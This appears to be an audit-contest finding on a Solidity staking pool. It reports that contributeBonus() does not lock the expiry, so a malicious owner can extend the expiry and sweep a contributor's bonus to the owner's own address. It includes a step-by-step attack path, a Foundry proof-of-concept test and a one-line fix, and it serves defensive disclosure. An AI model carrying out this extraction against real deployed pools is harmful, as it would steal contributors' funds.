FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: low
Likelihood: low

`contributeBonus()` does not set `expiryLocked`, allowing pool owner to extend expiry after bonus is deposited and extract funds via `sweepUnclaimedBonus()`

Author Revealed upon completion

Short Summary

contributeBonus() deposits tokens into the pool but never sets expiryLocked = true, unlike stake() which sets it immediately. A malicious pool owner can call setExpiry() after bonus has been contributed but before any staker joins, silently extending the pool lifetime to trap the contributor's tokens, then recover them through sweepUnclaimedBonus() once the extended expiry passes.

Root Cause

// src/ConfidencePool.sol L266-285
function contributeBonus(uint256 amount) external nonReentrant whenPoolNotPaused {
if (amount == 0) revert InvalidAmount();
if (outcome != PoolStates.Outcome.UNRESOLVED) revert OutcomeAlreadySet();
if (block.timestamp >= expiry) revert StakingClosed();
_assertDepositsAllowed(_observePoolState());
...
totalBonus += received;
// MISSING: if (!expiryLocked) expiryLocked = true;
emit BonusContributed(msg.sender, received);
}
// For comparison — stake() correctly sets the flag:
// src/ConfidencePool.sol L229-231
function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
...
if (!expiryLocked) {
expiryLocked = true; // stake locks the expiry
}
// src/ConfidencePool.sol L622-631
function setExpiry(uint256 newExpiry) external onlyOwner {
if (expiryLocked) revert ExpiryLocked(); // ← only blocked when expiryLocked == true
...
expiry = uint32(newExpiry);
}

Because contributeBonus never sets expiryLocked, setExpiry remains callable after bonus is deposited, as long as no staker has joined yet.

Proper Description

The developer's intent is that pool parameters become immutable once participants commit funds. expiryLocked enforces this for setExpiry(). The design correctly locks the expiry on the first stake() call, because a staker is the primary participant whose capital is at risk.

However, bonus contributors are also participants: they trust that the pool will expire on the advertised schedule, after which any unclaimed bonus is swept back to the pool owner's recoveryAddress. If the owner can extend the expiry after receiving a bonus deposit, the contributor's funds are locked far beyond their expectations. Combined with a malicious recoveryAddress, the owner can eventually extract all contributed bonus with no legitimate claim by stakers (by never marketing the pool).

The flaw is an asymmetry in the lock trigger: stake locks, contributeBonus does not. The developer likely assumed sponsors contribute bonus before stakers join, making the lock sequence contributeBonus → stake → lock. The exploit inverts this: contributeBonus → extend expiry → never stake.

Internal Pre-condition

  1. expiryLocked == false — no staker has called stake() yet.

  2. totalBonus > 0 — at least one bonus contribution has been received.

  3. outcome == UNRESOLVED — pool not yet resolved.

External Pre-condition

  1. The pool owner (sponsor) is malicious or willing to act against the bonus contributor's interests.

  2. No stakers are aware of or willing to join the pool (owner withholds marketing).

Details Attack Path

  1. Attacker creates a pool via ConfidencePoolFactory.createPool() with expiry = block.timestamp + 31 days and recoveryAddress = attacker_wallet.

  2. A protocol DAO or sponsor calls contributeBonus(1000e18) to seed pool incentives. expiryLocked remains false.

  3. Attacker calls setExpiry(type(uint32).max) — succeeds because expiryLocked == false. Pool is now locked until the year 2106.

  4. Attacker never markets the pool. No staker joins. totalEligibleStake == 0.

  5. After the new expiry passes (or attacker uses a shorter but still far extension), any caller triggers claimExpired() → outcome set to EXPIRED, claimsStarted = true.

  6. Any caller calls sweepUnclaimedBonus(). Since riskWindowStart == 0 and totalEligibleStake == 0, reserved = 0. Entire pool balance swept to recoveryAddress = attacker_wallet.

  7. Attacker receives 1000e18 tokens. Contributor receives nothing.

Impact

Full loss of bonus contributor funds. The attack is low-risk for the attacker (no capital required beyond pool creation gas), and the victim has no on-chain recourse once the expiry is extended. The bonus is locked until the extended expiry date — which can be up to type(uint32).max (~year 2106).

Proof of Concept

forge test --match-path "test/audit/L1*" -vvv
# [PASS] testPoC_L1_OwnerExtendsExpiryAfterBonus()
# [PASS] testPoC_L1_FullExtractionPath()
// test/audit/L1_BonusLockupExpiryExtension.t.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
contract L1_BonusLockupViaExpiryExtensionPoC is BaseConfidencePoolTest {
function testPoC_L1_OwnerExtendsExpiryAfterBonus() external {
_contributeBonus(carol, 100 * ONE);
assertFalse(pool.expiryLocked(), "expiryLocked false — no staker yet");
uint256 original = pool.expiry();
pool.setExpiry(uint256(type(uint32).max)); // year 2106 — no revert
assertEq(pool.expiry(), type(uint32).max);
assertGt(pool.expiry(), original);
assertEq(pool.totalBonus(), 100 * ONE, "carol's bonus trapped");
// First stake finally locks expiry
_stake(alice, 10 * ONE);
assertTrue(pool.expiryLocked());
vm.expectRevert(IConfidencePool.ExpiryLocked.selector);
pool.setExpiry(block.timestamp + 60 days); // now reverts
}
function testPoC_L1_FullExtractionPath() external {
address attackerRecovery = makeAddr("attackerRecovery");
pool.setRecoveryAddress(attackerRecovery);
_contributeBonus(carol, 1000 * ONE);
assertFalse(pool.expiryLocked());
uint256 futureExpiry = block.timestamp + 62 days;
pool.setExpiry(futureExpiry); // no revert — bonus doesn't lock expiry
vm.warp(futureExpiry + 1);
assertEq(pool.totalEligibleStake(), 0, "no stakers joined");
pool.claimExpired(); // EXPIRED resolution
assertEq(uint8(pool.outcome()), uint8(PoolStates.Outcome.EXPIRED));
uint256 before = token.balanceOf(attackerRecovery);
pool.sweepUnclaimedBonus();
assertEq(token.balanceOf(attackerRecovery) - before, 1000 * ONE,
"attacker extracted carol's bonus via expiry extension");
assertEq(token.balanceOf(carol), 0, "carol received nothing");
}
}

Mitigation

// src/ConfidencePool.sol
function contributeBonus(uint256 amount) external nonReentrant whenPoolNotPaused {
if (amount == 0) revert InvalidAmount();
if (outcome != PoolStates.Outcome.UNRESOLVED) revert OutcomeAlreadySet();
if (block.timestamp >= expiry) revert StakingClosed();
_assertDepositsAllowed(_observePoolState());
...
+ if (!expiryLocked) {
+ expiryLocked = true;
+ }
totalBonus += received;
emit BonusContributed(msg.sender, received);
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!